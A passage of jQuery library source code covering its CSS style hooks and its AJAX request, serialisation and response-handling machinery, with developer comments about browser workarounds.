		jQuery.globalEval( elem.text || elem.textContent || elem.innerHTML || "" );
	}
	if ( elem.parentNode ) {
		elem.parentNode.removeChild( elem );
	}
}
var ralpha = /alpha\([^)]*\)/i,
	ropacity = /opacity=([^)]*)/,
	rdashAlpha = /-([a-z])/ig,
	// fixed for IE9, see #8346
	rupper = /([A-Z]|^ms)/g,
	rnumpx = /^-?\d+(?:px)?$/i,
	rnum = /^-?\d/,
	cssShow = { position: "absolute", visibility: "hidden", display: "block" },
	cssWidth = [ "Left", "Right" ],
	cssHeight = [ "Top", "Bottom" ],
	curCSS,
	getComputedStyle,
	currentStyle,
	fcamelCase = function( all, letter ) {
		return letter.toUpperCase();
	};
jQuery.fn.css = function( name, value ) {
	// Setting 'undefined' is a no-op
	if ( arguments.length === 2 && value === undefined ) {
		return this;
	}
	return jQuery.access( this, name, value, true, function( elem, name, value ) {
		return value !== undefined ?
			jQuery.style( elem, name, value ) :
			jQuery.css( elem, name );
	});
};
jQuery.extend({
	// Add in style property hooks for overriding the default
	// behavior of getting and setting a style property
	cssHooks: {
		opacity: {
			get: function( elem, computed ) {
				if ( computed ) {
					// We should always get a number back from opacity
					var ret = curCSS( elem, "opacity", "opacity" );
					return ret === "" ? "1" : ret;
				} else {
					return elem.style.opacity;
				}
			}
		}
	},
	// Exclude the following css properties to add px
	cssNumber: {
		"zIndex": true,
		"fontWeight": true,
		"opacity": true,
		"zoom": true,
		"lineHeight": true
	},
	// Add in properties whose names you wish to fix before
	// setting or getting the value
	cssProps: {
		// normalize float css property
		"float": jQuery.support.cssFloat ? "cssFloat" : "styleFloat"
	},
	// Get and set the style property on a DOM Node
	style: function( elem, name, value, extra ) {
		// Don't set styles on text and comment nodes
		if ( !elem || elem.nodeType === 3 || elem.nodeType === 8 || !elem.style ) {
			return;
		}
		// Make sure that we're working with the right name
		var ret, origName = jQuery.camelCase( name ),
			style = elem.style, hooks = jQuery.cssHooks[ origName ];
		name = jQuery.cssProps[ origName ] || origName;
		// Check if we're setting a value
		if ( value !== undefined ) {
			// Make sure that NaN and null values aren't set. See: #7116
			if ( typeof value === "number" && isNaN( value ) || value == null ) {
				return;
			}
			// If a number was passed in, add 'px' to the (except for certain CSS properties)
			if ( typeof value === "number" && !jQuery.cssNumber[ origName ] ) {
				value += "px";
			}
			// If a hook was provided, use that value, otherwise just set the specified value
			if ( !hooks || !("set" in hooks) || (value = hooks.set( elem, value )) !== undefined ) {
				// Wrapped to prevent IE from throwing errors when 'invalid' values are provided
				// Fixes bug #5509
				try {
					style[ name ] = value;
				} catch(e) {}
			}
		} else {
			// If a hook was provided get the non-computed value from there
			if ( hooks && "get" in hooks && (ret = hooks.get( elem, false, extra )) !== undefined ) {
				return ret;
			}
			// Otherwise just get the value from the style object
			return style[ name ];
		}
	},
	css: function( elem, name, extra ) {
		// Make sure that we're working with the right name
		var ret, origName = jQuery.camelCase( name ),
			hooks = jQuery.cssHooks[ origName ];
		name = jQuery.cssProps[ origName ] || origName;
		// If a hook was provided get the computed value from there
		if ( hooks && "get" in hooks && (ret = hooks.get( elem, true, extra )) !== undefined ) {
			return ret;
		// Otherwise, if a way to get the computed value exists, use that
		} else if ( curCSS ) {
			return curCSS( elem, name, origName );
		}
	},
	// A method for quickly swapping in/out CSS properties to get correct calculations
	swap: function( elem, options, callback ) {
		var old = {};
		// Remember the old values, and insert the new ones
		for ( var name in options ) {
			old[ name ] = elem.style[ name ];
			elem.style[ name ] = options[ name ];
		}
		callback.call( elem );
		// Revert the old values
		for ( name in options ) {
			elem.style[ name ] = old[ name ];
		}
	},
	camelCase: function( string ) {
		return string.replace( rdashAlpha, fcamelCase );
	}
});
// DEPRECATED, Use jQuery.css() instead
jQuery.curCSS = jQuery.css;
jQuery.each(["height", "width"], function( i, name ) {
	jQuery.cssHooks[ name ] = {
		get: function( elem, computed, extra ) {
			var val;
			if ( computed ) {
				if ( elem.offsetWidth !== 0 ) {
					val = getWH( elem, name, extra );
				} else {
					jQuery.swap( elem, cssShow, function() {
						val = getWH( elem, name, extra );
					});
				}
				if ( val <= 0 ) {
					val = curCSS( elem, name, name );
					if ( val === "0px" && currentStyle ) {
						val = currentStyle( elem, name, name );
					}
					if ( val != null ) {
						// Should return "auto" instead of 0, use 0 for
						// temporary backwards-compat
						return val === "" || val === "auto" ? "0px" : val;
					}
				}
				if ( val < 0 || val == null ) {
					val = elem.style[ name ];
					// Should return "auto" instead of 0, use 0 for
					// temporary backwards-compat
					return val === "" || val === "auto" ? "0px" : val;
				}
				return typeof val === "string" ? val : val + "px";
			}
		},
		set: function( elem, value ) {
			if ( rnumpx.test( value ) ) {
				// ignore negative width and height values #1599
				value = parseFloat(value);
				if ( value >= 0 ) {
					return value + "px";
				}
			} else {
				return value;
			}
		}
	};
});
if ( !jQuery.support.opacity ) {
	jQuery.cssHooks.opacity = {
		get: function( elem, computed ) {
			// IE uses filters for opacity
			return ropacity.test((computed && elem.currentStyle ? elem.currentStyle.filter : elem.style.filter) || "") ?
				(parseFloat(RegExp.$1) / 100) + "" :
				computed ? "1" : "";
		},
		set: function( elem, value ) {
			var style = elem.style;
			// IE has trouble with opacity if it does not have layout
			// Force it by setting the zoom level
			style.zoom = 1;
			// Set the alpha filter to set the opacity
			var opacity = jQuery.isNaN(value) ?
				"" :
				"alpha(opacity=" + value * 100 + ")",
				filter = style.filter || "";
			style.filter = ralpha.test(filter) ?
				filter.replace(ralpha, opacity) :
				style.filter + ' ' + opacity;
		}
	};
}
jQuery(function() {
	// This hook cannot be added until DOM ready because the support test
	// for it is not run until after DOM ready
	if ( !jQuery.support.reliableMarginRight ) {
		jQuery.cssHooks.marginRight = {
			get: function( elem, computed ) {
				// WebKit Bug 13343 - getComputedStyle returns wrong value for margin-right
				// Work around by temporarily setting element display to inline-block
				var ret;
				jQuery.swap( elem, { "display": "inline-block" }, function() {
					if ( computed ) {
						ret = curCSS( elem, "margin-right", "marginRight" );
					} else {
						ret = elem.style.marginRight;
					}
				});
				return ret;
			}
		};
	}
});
if ( document.defaultView && document.defaultView.getComputedStyle ) {
	getComputedStyle = function( elem, newName, name ) {
		var ret, defaultView, computedStyle;
		name = name.replace( rupper, "-$1" ).toLowerCase();
		if ( !(defaultView = elem.ownerDocument.defaultView) ) {
			return undefined;
		}
		if ( (computedStyle = defaultView.getComputedStyle( elem, null )) ) {
			ret = computedStyle.getPropertyValue( name );
			if ( ret === "" && !jQuery.contains( elem.ownerDocument.documentElement, elem ) ) {
				ret = jQuery.style( elem, name );
			}
		}
		return ret;
	};
}
if ( document.documentElement.currentStyle ) {
	currentStyle = function( elem, name ) {
		var left,
			ret = elem.currentStyle && elem.currentStyle[ name ],
			rsLeft = elem.runtimeStyle && elem.runtimeStyle[ name ],
			style = elem.style;
		// From the awesome hack by Dean Edwards
		// http://erik.eae.net/archives/2007/07/27/18.54.15/#comment-102291
		// If we're not dealing with a regular pixel number
		// but a number that has a weird ending, we need to convert it to pixels
		if ( !rnumpx.test( ret ) && rnum.test( ret ) ) {
			// Remember the original values
			left = style.left;
			// Put in the new values to get a computed value out
			if ( rsLeft ) {
				elem.runtimeStyle.left = elem.currentStyle.left;
			}
			style.left = name === "fontSize" ? "1em" : (ret || 0);
			ret = style.pixelLeft + "px";
			// Revert the changed values
			style.left = left;
			if ( rsLeft ) {
				elem.runtimeStyle.left = rsLeft;
			}
		}
		return ret === "" ? "auto" : ret;
	};
}
curCSS = getComputedStyle || currentStyle;
function getWH( elem, name, extra ) {
	var which = name === "width" ? cssWidth : cssHeight,
		val = name === "width" ? elem.offsetWidth : elem.offsetHeight;
	if ( extra === "border" ) {
		return val;
	}
	jQuery.each( which, function() {
		if ( !extra ) {
			val -= parseFloat(jQuery.css( elem, "padding" + this )) || 0;
		}
		if ( extra === "margin" ) {
			val += parseFloat(jQuery.css( elem, "margin" + this )) || 0;
		} else {
			val -= parseFloat(jQuery.css( elem, "border" + this + "Width" )) || 0;
		}
	});
	return val;
}
if ( jQuery.expr && jQuery.expr.filters ) {
	jQuery.expr.filters.hidden = function( elem ) {
		var width = elem.offsetWidth,
			height = elem.offsetHeight;
		return (width === 0 && height === 0) || (!jQuery.support.reliableHiddenOffsets && (elem.style.display || jQuery.css( elem, "display" )) === "none");
	};
	jQuery.expr.filters.visible = function( elem ) {
		return !jQuery.expr.filters.hidden( elem );
	};
}
var r20 = /%20/g,
	rbracket = /\[\]$/,
	rCRLF = /\r?\n/g,
	rhash = /#.*$/,
	rheaders = /^(.*?):[ \t]*([^\r\n]*)\r?$/mg, // IE leaves an \r character at EOL
	rinput = /^(?:color|date|datetime|email|hidden|month|number|password|range|search|tel|text|time|url|week)$/i,
	// #7653, #8125, #8152: local protocol detection
	rlocalProtocol = /^(?:about|app|app\-storage|.+\-extension|file|widget):$/,
	rnoContent = /^(?:GET|HEAD)$/,
	rprotocol = /^\/\//,
	rquery = /\?/,
	rscript = /<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi,
	rselectTextarea = /^(?:select|textarea)/i,
	rspacesAjax = /\s+/,
	rts = /([?&])_=[^&]*/,
	rucHeaders = /(^|\-)([a-z])/g,
	rucHeadersFunc = function( _, $1, $2 ) {
		return $1 + $2.toUpperCase();
	},
	rurl = /^([\w\+\.\-]+:)(?:\/\/([^\/?#:]*)(?::(\d+))?)?/,
	// Keep a copy of the old load method
	_load = jQuery.fn.load,
	/* Prefilters
	 * 1) They are useful to introduce custom dataTypes (see ajax/jsonp.js for an example)
	 * 2) These are called:
	 *    - BEFORE asking for a transport
	 *    - AFTER param serialization (s.data is a string if s.processData is true)
	 * 3) key is the dataType
	 * 4) the catchall symbol "*" can be used
	 * 5) execution will start with transport dataType and THEN continue down to "*" if needed
	 */
	prefilters = {},
	/* Transports bindings
	 * 1) key is the dataType
	 * 2) the catchall symbol "*" can be used
	 * 3) selection will start with transport dataType and THEN go to "*" if needed
	 */
	transports = {},
	// Document location
	ajaxLocation,
	// Document location segments
	ajaxLocParts;
// #8138, IE may throw an exception when accessing
// a field from document.location if document.domain has been set
try {
	ajaxLocation = document.location.href;
} catch( e ) {
	// Use the href attribute of an A element
	// since IE will modify it given document.location
	ajaxLocation = document.createElement( "a" );
	ajaxLocation.href = "";
	ajaxLocation = ajaxLocation.href;
}
// Segment location into parts
ajaxLocParts = rurl.exec( ajaxLocation.toLowerCase() ) || [];
// Base "constructor" for jQuery.ajaxPrefilter and jQuery.ajaxTransport
function addToPrefiltersOrTransports( structure ) {
	// dataTypeExpression is optional and defaults to "*"
	return function( dataTypeExpression, func ) {
		if ( typeof dataTypeExpression !== "string" ) {
			func = dataTypeExpression;
			dataTypeExpression = "*";
		}
		if ( jQuery.isFunction( func ) ) {
			var dataTypes = dataTypeExpression.toLowerCase().split( rspacesAjax ),
				i = 0,
				length = dataTypes.length,
				dataType,
				list,
				placeBefore;
			// For each dataType in the dataTypeExpression
			for(; i < length; i++ ) {
				dataType = dataTypes[ i ];
				// We control if we're asked to add before
				// any existing element
				placeBefore = /^\+/.test( dataType );
				if ( placeBefore ) {
					dataType = dataType.substr( 1 ) || "*";
				}
				list = structure[ dataType ] = structure[ dataType ] || [];
				// then we add to the structure accordingly
				list[ placeBefore ? "unshift" : "push" ]( func );
			}
		}
	};
}
//Base inspection function for prefilters and transports
function inspectPrefiltersOrTransports( structure, options, originalOptions, jqXHR,
		dataType /* internal */, inspected /* internal */ ) {
	dataType = dataType || options.dataTypes[ 0 ];
	inspected = inspected || {};
	inspected[ dataType ] = true;
	var list = structure[ dataType ],
		i = 0,
		length = list ? list.length : 0,
		executeOnly = ( structure === prefilters ),
		selection;
	for(; i < length && ( executeOnly || !selection ); i++ ) {
		selection = list[ i ]( options, originalOptions, jqXHR );
		// If we got redirected to another dataType
		// we try there if executing only and not done already
		if ( typeof selection === "string" ) {
			if ( !executeOnly || inspected[ selection ] ) {
				selection = undefined;
			} else {
				options.dataTypes.unshift( selection );
				selection = inspectPrefiltersOrTransports(
						structure, options, originalOptions, jqXHR, selection, inspected );
			}
		}
	}
	// If we're only executing or nothing was selected
	// we try the catchall dataType if not done already
	if ( ( executeOnly || !selection ) && !inspected[ "*" ] ) {
		selection = inspectPrefiltersOrTransports(
				structure, options, originalOptions, jqXHR, "*", inspected );
	}
	// unnecessary when only executing (prefilters)
	// but it'll be ignored by the caller in that case
	return selection;
}
jQuery.fn.extend({
	load: function( url, params, callback ) {
		if ( typeof url !== "string" && _load ) {
			return _load.apply( this, arguments );
		// Don't do a request if no elements are being requested
		} else if ( !this.length ) {
			return this;
		}
		var off = url.indexOf( " " );
		if ( off >= 0 ) {
			var selector = url.slice( off, url.length );
			url = url.slice( 0, off );
		}
		// Default to a GET request
		var type = "GET";
		// If the second parameter was provided
		if ( params ) {
			// If it's a function
			if ( jQuery.isFunction( params ) ) {
				// We assume that it's the callback
				callback = params;
				params = undefined;
			// Otherwise, build a param string
			} else if ( typeof params === "object" ) {
				params = jQuery.param( params, jQuery.ajaxSettings.traditional );
				type = "POST";
			}
		}
		var self = this;
		// Request the remote document
		jQuery.ajax({
			url: url,
			type: type,
			dataType: "html",
			data: params,
			// Complete callback (responseText is used internally)
			complete: function( jqXHR, status, responseText ) {
				// Store the response as specified by the jqXHR object
				responseText = jqXHR.responseText;
				// If successful, inject the HTML into all the matched elements
				if ( jqXHR.isResolved() ) {
					// #4825: Get the actual response in case
					// a dataFilter is present in ajaxSettings
					jqXHR.done(function( r ) {
						responseText = r;
					});
					// See if a selector was specified
					self.html( selector ?
						// Create a dummy div to hold the results
						jQuery("<div>")
							// inject the contents of the document in, removing the scripts
							// to avoid any 'Permission Denied' errors in IE
							.append(responseText.replace(rscript, ""))
							// Locate the specified elements
							.find(selector) :
						// If not, just inject the full result
						responseText );
				}
				if ( callback ) {
					self.each( callback, [ responseText, status, jqXHR ] );
				}
			}
		});
		return this;
	},
	serialize: function() {
		return jQuery.param( this.serializeArray() );
	},
	serializeArray: function() {
		return this.map(function(){
			return this.elements ? jQuery.makeArray( this.elements ) : this;
		})
		.filter(function(){
			return this.name && !this.disabled &&
				( this.checked || rselectTextarea.test( this.nodeName ) ||
					rinput.test( this.type ) );
		})
		.map(function( i, elem ){
			var val = jQuery( this ).val();
			return val == null ?
				null :
				jQuery.isArray( val ) ?
					jQuery.map( val, function( val, i ){
						return { name: elem.name, value: val.replace( rCRLF, "\r\n" ) };
					}) :
					{ name: elem.name, value: val.replace( rCRLF, "\r\n" ) };
		}).get();
	}
});
// Attach a bunch of functions for handling common AJAX events
jQuery.each( "ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split( " " ), function( i, o ){
	jQuery.fn[ o ] = function( f ){
		return this.bind( o, f );
	};
} );
jQuery.each( [ "get", "post" ], function( i, method ) {
	jQuery[ method ] = function( url, data, callback, type ) {
		// shift arguments if data argument was omitted
		if ( jQuery.isFunction( data ) ) {
			type = type || callback;
			callback = data;
			data = undefined;
		}
		return jQuery.ajax({
			type: method,
			url: url,
			data: data,
			success: callback,
			dataType: type
		});
	};
} );
jQuery.extend({
	getScript: function( url, callback ) {
		return jQuery.get( url, undefined, callback, "script" );
	},
	getJSON: function( url, data, callback ) {
		return jQuery.get( url, data, callback, "json" );
	},
	// Creates a full fledged settings object into target
	// with both ajaxSettings and settings fields.
	// If target is omitted, writes into ajaxSettings.
	ajaxSetup: function ( target, settings ) {
		if ( !settings ) {
			// Only one parameter, we extend ajaxSettings
			settings = target;
			target = jQuery.extend( true, jQuery.ajaxSettings, settings );
		} else {
			// target was provided, we extend into it
			jQuery.extend( true, target, jQuery.ajaxSettings, settings );
		}
		// Flatten fields we don't want deep extended
		for( var field in { context: 1, url: 1 } ) {
			if ( field in settings ) {
				target[ field ] = settings[ field ];
			} else if( field in jQuery.ajaxSettings ) {
				target[ field ] = jQuery.ajaxSettings[ field ];
			}
		}
		return target;
	},
	ajaxSettings: {
		url: ajaxLocation,
		isLocal: rlocalProtocol.test( ajaxLocParts[ 1 ] ),
		global: true,
		type: "GET",
		contentType: "application/x-www-form-urlencoded",
		processData: true,
		async: true,
		/*
		timeout: 0,
		data: null,
		dataType: null,
		username: null,
		password: null,
		cache: null,
		traditional: false,
		headers: {},
		*/
		accepts: {
			xml: "application/xml, text/xml",
			html: "text/html",
			text: "text/plain",
			json: "application/json, text/javascript",
			"*": "*/*"
		},
		contents: {
			xml: /xml/,
			html: /html/,
			json: /json/
		},
		responseFields: {
			xml: "responseXML",
			text: "responseText"
		},
		// List of data converters
		// 1) key format is "source_type destination_type" (a single space in-between)
		// 2) the catchall symbol "*" can be used for source_type
		converters: {
			// Convert anything to text
			"* text": window.String,
			// Text to html (true = no transformation)
			"text html": true,
			// Evaluate text as a json expression
			"text json": jQuery.parseJSON,
			// Parse text as xml
			"text xml": jQuery.parseXML
		}
	},
	ajaxPrefilter: addToPrefiltersOrTransports( prefilters ),
	ajaxTransport: addToPrefiltersOrTransports( transports ),
	// Main method
	ajax: function( url, options ) {
		// If url is an object, simulate pre-1.5 signature
		if ( typeof url === "object" ) {
			options = url;
			url = undefined;
		}
		// Force options to be an object
		options = options || {};
		var // Create the final options object
			s = jQuery.ajaxSetup( {}, options ),
			// Callbacks context
			callbackContext = s.context || s,
			// Context for global events
			// It's the callbackContext if one was provided in the options
			// and if it's a DOM node or a jQuery collection
			globalEventContext = callbackContext !== s &&
				( callbackContext.nodeType || callbackContext instanceof jQuery ) ?
						jQuery( callbackContext ) : jQuery.event,
			// Deferreds
			deferred = jQuery.Deferred(),
			completeDeferred = jQuery._Deferred(),
			// Status-dependent callbacks
			statusCode = s.statusCode || {},
			// ifModified key
			ifModifiedKey,
			// Headers (they are sent all at once)
			requestHeaders = {},
			// Response headers
			responseHeadersString,
			responseHeaders,
			// transport
			transport,
			// timeout handle
			timeoutTimer,
			// Cross-domain detection vars
			parts,
			// The jqXHR state
			state = 0,
			// To know if global events are to be dispatched
			fireGlobals,
			// Loop variable
			i,
			// Fake xhr
			jqXHR = {
				readyState: 0,
				// Caches the header
				setRequestHeader: function( name, value ) {
					if ( !state ) {
						requestHeaders[ name.toLowerCase().replace( rucHeaders, rucHeadersFunc ) ] = value;
					}
					return this;
				},
				// Raw string
				getAllResponseHeaders: function() {
					return state === 2 ? responseHeadersString : null;
				},
				// Builds headers hashtable if needed
				getResponseHeader: function( key ) {
					var match;
					if ( state === 2 ) {
						if ( !responseHeaders ) {
							responseHeaders = {};
							while( ( match = rheaders.exec( responseHeadersString ) ) ) {
								responseHeaders[ match[1].toLowerCase() ] = match[ 2 ];
							}
						}
						match = responseHeaders[ key.toLowerCase() ];
					}
					return match === undefined ? null : match;
				},
				// Overrides response content-type header
				overrideMimeType: function( type ) {
					if ( !state ) {
						s.mimeType = type;
					}
					return this;
				},
				// Cancel the request
				abort: function( statusText ) {
					statusText = statusText || "abort";
					if ( transport ) {
						transport.abort( statusText );
					}
					done( 0, statusText );
					return this;
				}
			};
		// Callback for when everything is done
		// It is defined here because jslint complains if it is declared
		// at the end of the function (which would be more logical and readable)
		function done( status, statusText, responses, headers ) {
			// Called once
			if ( state === 2 ) {
				return;
			}
			// State is "done" now
			state = 2;
			// Clear timeout if it exists
			if ( timeoutTimer ) {
				clearTimeout( timeoutTimer );
			}
			// Dereference transport for early garbage collection
			// (no matter how long the jqXHR object will be used)
			transport = undefined;
			// Cache response headers
			responseHeadersString = headers || "";
			// Set readyState
			jqXHR.readyState = status ? 4 : 0;
			var isSuccess,
				success,
				error,
				response = responses ? ajaxHandleResponses( s, jqXHR, responses ) : undefined,
				lastModified,
				etag;
			// If successful, handle type chaining
			if ( status >= 200 && status < 300 || status === 304 ) {
				// Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode.
				if ( s.ifModified ) {
					if ( ( lastModified = jqXHR.getResponseHeader( "Last-Modified" ) ) ) {
						jQuery.lastModified[ ifModifiedKey ] = lastModified;
					}
					if ( ( etag = jqXHR.getResponseHeader( "Etag" ) ) ) {
						jQuery.etag[ ifModifiedKey ] = etag;
					}
				}
				// If not modified
				if ( status === 304 ) {
					statusText = "notmodified";
					isSuccess = true;
				// If we have data
				} else {
					try {
						success = ajaxConvert( s, response );
						statusText = "success";
						isSuccess = true;
					} catch(e) {
						// We have a parsererror
						statusText = "parsererror";
						error = e;
					}
				}
			} else {
				// We extract error from statusText
				// then normalize statusText and status for non-aborts
				error = statusText;
				if( !statusText || status ) {
					statusText = "error";
					if ( status < 0 ) {
						status = 0;
					}
				}
			}
			// Set data for the fake xhr object
			jqXHR.status = status;
			jqXHR.statusText = statusText;
			// Success/Error
			if ( isSuccess ) {
				deferred.resolveWith( callbackContext, [ success, statusText, jqXHR ] );
			} else {
				deferred.rejectWith( callbackContext, [ jqXHR, statusText, error ] );
			}
			// Status-dependent callbacks
			jqXHR.statusCode( statusCode );
			statusCode = undefined;
			if ( fireGlobals ) {
				globalEventContext.trigger( "ajax" + ( isSuccess ? "Success" : "Error" ),
						[ jqXHR, s, isSuccess ? success : error ] );
			}
			// Complete
			completeDeferred.resolveWith( callbackContext, [ jqXHR, statusText ] );
			if ( fireGlobals ) {
				globalEventContext.trigger( "ajaxComplete", [ jqXHR, s] );
				// Handle the global AJAX counter
				if ( !( --jQuery.active ) ) {
					jQuery.event.trigger( "ajaxStop" );
				}
			}
		}
		// Attach deferreds
		deferred.promise( jqXHR );
		jqXHR.success = jqXHR.done;
		jqXHR.error = jqXHR.fail;
		jqXHR.complete = completeDeferred.done;
		// Status-dependent callbacks
		jqXHR.statusCode = function( map ) {
			if ( map ) {
				var tmp;
				if ( state < 2 ) {
					for( tmp in map ) {
						statusCode[ tmp ] = [ statusCode[tmp], map[tmp] ];
					}
				} else {
					tmp = map[ jqXHR.status ];
					jqXHR.then( tmp, tmp );
				}
			}
			return this;
		};
		// Remove hash character (#7531: and string promotion)
		// Add protocol if not provided (#5866: IE7 issue with protocol-less urls)
		// We also use the url parameter if available
		s.url = ( ( url || s.url ) + "" ).replace( rhash, "" ).replace( rprotocol, ajaxLocParts[ 1 ] + "//" );
		// Extract dataTypes list
		s.dataTypes = jQuery.trim( s.dataType || "*" ).toLowerCase().split( rspacesAjax );
		// Determine if a cross-domain request is in order
		if ( s.crossDomain == null ) {
			parts = rurl.exec( s.url.toLowerCase() );
			s.crossDomain = !!( parts &&
				( parts[ 1 ] != ajaxLocParts[ 1 ] || parts[ 2 ] != ajaxLocParts[ 2 ] ||
					( parts[ 3 ] || ( parts[ 1 ] === "http:" ? 80 : 443 ) ) !=
						( ajaxLocParts[ 3 ] || ( ajaxLocParts[ 1 ] === "http:" ? 80 : 443 ) ) )
			);
		}
		// Convert data if not already a string
		if ( s.data && s.processData && typeof s.data !== "string" ) {
			s.data = jQuery.param( s.data, s.traditional );
		}
		// Apply prefilters
		inspectPrefiltersOrTransports( prefilters, s, options, jqXHR );
		// If request was aborted inside a prefiler, stop there
		if ( state === 2 ) {
			return false;
		}
		// We can fire global events as of now if asked to
		fireGlobals = s.global;
		// Uppercase the type
		s.type = s.type.toUpperCase();
		// Determine if request has content
		s.hasContent = !rnoContent.test( s.type );
		// Watch for a new set of requests
		if ( fireGlobals && jQuery.active++ === 0 ) {
			jQuery.event.trigger( "ajaxStart" );
		}
		// More options handling for requests with no content
		if ( !s.hasContent ) {
			// If data is available, append data to url
			if ( s.data ) {
				s.url += ( rquery.test( s.url ) ? "&" : "?" ) + s.data;
			}
			// Get ifModifiedKey before adding the anti-cache parameter
			ifModifiedKey = s.url;
			// Add anti-cache in url if needed
			if ( s.cache === false ) {
				var ts = jQuery.now(),
					// try replacing _= if it is there
					ret = s.url.replace( rts, "$1_=" + ts );
				// if nothing was replaced, add timestamp to the end
				s.url = ret + ( (ret === s.url ) ? ( rquery.test( s.url ) ? "&" : "?" ) + "_=" + ts : "" );
			}
		}
		// Set the correct header, if data is being sent
		if ( s.data && s.hasContent && s.contentType !== false || options.contentType ) {
			requestHeaders[ "Content-Type" ] = s.contentType;
		}
		// Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode.
		if ( s.ifModified ) {
			ifModifiedKey = ifModifiedKey || s.url;
			if ( jQuery.lastModified[ ifModifiedKey ] ) {
				requestHeaders[ "If-Modified-Since" ] = jQuery.lastModified[ ifModifiedKey ];
			}
			if ( jQuery.etag[ ifModifiedKey ] ) {
				requestHeaders[ "If-None-Match" ] = jQuery.etag[ ifModifiedKey ];
			}
		}
		// Set the Accepts header for the server, depending on the dataType
		requestHeaders.Accept = s.dataTypes[ 0 ] && s.accepts[ s.dataTypes[0] ] ?
			s.accepts[ s.dataTypes[0] ] + ( s.dataTypes[ 0 ] !== "*" ? ", */*; q=0.01" : "" ) :
			s.accepts[ "*" ];
		// Check for headers option
		for ( i in s.headers ) {
			jqXHR.setRequestHeader( i, s.headers[ i ] );
		}
		// Allow custom headers/mimetypes and early abort
		if ( s.beforeSend && ( s.beforeSend.call( callbackContext, jqXHR, s ) === false || state === 2 ) ) {
				// Abort if not done already
				jqXHR.abort();
				return false;
		}
		// Install callbacks on deferreds
		for ( i in { success: 1, error: 1, complete: 1 } ) {
			jqXHR[ i ]( s[ i ] );
		}
		// Get transport
		transport = inspectPrefiltersOrTransports( transports, s, options, jqXHR );
		// If no transport, we auto-abort
		if ( !transport ) {
			done( -1, "No Transport" );
		} else {
			jqXHR.readyState = 1;
			// Send global event
			if ( fireGlobals ) {
				globalEventContext.trigger( "ajaxSend", [ jqXHR, s ] );
			}
			// Timeout
			if ( s.async && s.timeout > 0 ) {
				timeoutTimer = setTimeout( function(){
					jqXHR.abort( "timeout" );
				}, s.timeout );
			}
			try {
				state = 1;
				transport.send( requestHeaders, done );
			} catch (e) {
				// Propagate exception as error if not done
				if ( status < 2 ) {
					done( -1, e );
				// Simply rethrow otherwise
				} else {
					jQuery.error( e );
				}
			}
		}
		return jqXHR;
	},
	// Serialize an array of form elements or a set of
	// key/values into a query string
	param: function( a, traditional ) {
		var s = [],
			add = function( key, value ) {
				// If value is a function, invoke it and return its value
				value = jQuery.isFunction( value ) ? value() : value;
				s[ s.length ] = encodeURIComponent( key ) + "=" + encodeURIComponent( value );
			};
		// Set traditional to true for jQuery <= 1.3.2 behavior.
		if ( traditional === undefined ) {
			traditional = jQuery.ajaxSettings.traditional;
		}
		// If an array was passed in, assume that it is an array of form elements.
		if ( jQuery.isArray( a ) || ( a.jquery && !jQuery.isPlainObject( a ) ) ) {
			// Serialize the form elements
			jQuery.each( a, function() {
				add( this.name, this.value );
			} );
		} else {
			// If traditional, encode the "old" way (the way 1.3.2 or older
			// did it), otherwise encode params recursively.
			for ( var prefix in a ) {
				buildParams( prefix, a[ prefix ], traditional, add );
			}
		}
		// Return the resulting serialization
		return s.join( "&" ).replace( r20, "+" );
	}
});
function buildParams( prefix, obj, traditional, add ) {
	if ( jQuery.isArray( obj ) && obj.length ) {
		// Serialize array item.
		jQuery.each( obj, function( i, v ) {
			if ( traditional || rbracket.test( prefix ) ) {
				// Treat each array item as a scalar.
				add( prefix, v );
			} else {
				// If array item is non-scalar (array or object), encode its
				// numeric index to resolve deserialization ambiguity issues.
				// Note that rack (as of 1.0.0) can't currently deserialize
				// nested arrays properly, and attempting to do so may cause
				// a server error. Possible fixes are to modify rack's
				// deserialization algorithm or to provide an option or flag
				// to force array serialization to be shallow.
				buildParams( prefix + "[" + ( typeof v === "object" || jQuery.isArray(v) ? i : "" ) + "]", v, traditional, add );
			}
		});
	} else if ( !traditional && obj != null && typeof obj === "object" ) {
		// If we see an array here, it is empty and should be treated as an empty
		// object
		if ( jQuery.isArray( obj ) || jQuery.isEmptyObject( obj ) ) {
			add( prefix, "" );
		// Serialize object item.
		} else {
			for ( var name in obj ) {
				buildParams( prefix + "[" + name + "]", obj[ name ], traditional, add );
			}
		}
	} else {
		// Serialize scalar item.
		add( prefix, obj );
	}
}
// This is still on the jQuery object... for now
// Want to move this to jQuery.ajax some day
jQuery.extend({
	// Counter for holding the number of active queries
	active: 0,
	// Last-Modified header cache for next request
	lastModified: {},
	etag: {}
});
/* Handles responses to an ajax request:
 * - sets all responseXXX fields accordingly
 * - finds the right dataType (mediates between content-type and expected dataType)
 * - returns the corresponding response
 */
function ajaxHandleResponses( s, jqXHR, responses ) {
	var contents = s.contents,
		dataTypes = s.dataTypes,
		responseFields = s.responseFields,
		ct,
		type,
		finalDataType,
		firstDataType;
	// Fill responseXXX fields
	for( type in responseFields ) {
		if ( type in responses ) {
			jqXHR[ responseFields[type] ] = responses[ type ];
		}
	}
	// Remove auto dataType and get content-type in the process
	while( dataTypes[ 0 ] === "*" ) {
		dataTypes.shift();
		if ( ct === undefined ) {
			ct = s.mimeType || jqXHR.getResponseHeader( "content-type" );
		}
	}
	// Check if we're dealing with a known content-type
	if ( ct ) {
		for ( type in contents ) {
			if ( contents[ type ] && contents[ type ].test( ct ) ) {
				dataTypes.unshift( type );
				break;
			}
		}
	}
	// Check to see if we have a response for the expected dataType
	if ( dataTypes[ 0 ] in responses ) {
		finalDataType = dataTypes[ 0 ];
	} else {
		// Try convertible dataTypes
		for ( type in responses ) {
			if ( !dataTypes[ 0 ] || s.converters[ type + " " + dataTypes[0] ] ) {
				finalDataType = type;
				break;
			}
			if ( !firstDataType ) {
				firstDataType = type;
			}
		}
		// Or just use first one
		finalDataType = finalDataType || firstDataType;
	}
	// If we found a dataType
	// We add the dataType to the list if needed
	// and return the corresponding response
	if ( finalDataType ) {
		if ( finalDataType !== dataTypes[ 0 ] ) {
			dataTypes.unshift( finalDataType );
		}
		return responses[ finalDataType ];
	}
}
// Chain conversions given the request and the original response
function ajaxConvert( s, response ) {
	// Apply the dataFilter if provided
	if ( s.dataFilter ) {
		response = s.dataFilter( response, s.dataType );
	}
	var dataTypes = s.dataTypes,
		converters = {},
		i,
		key,
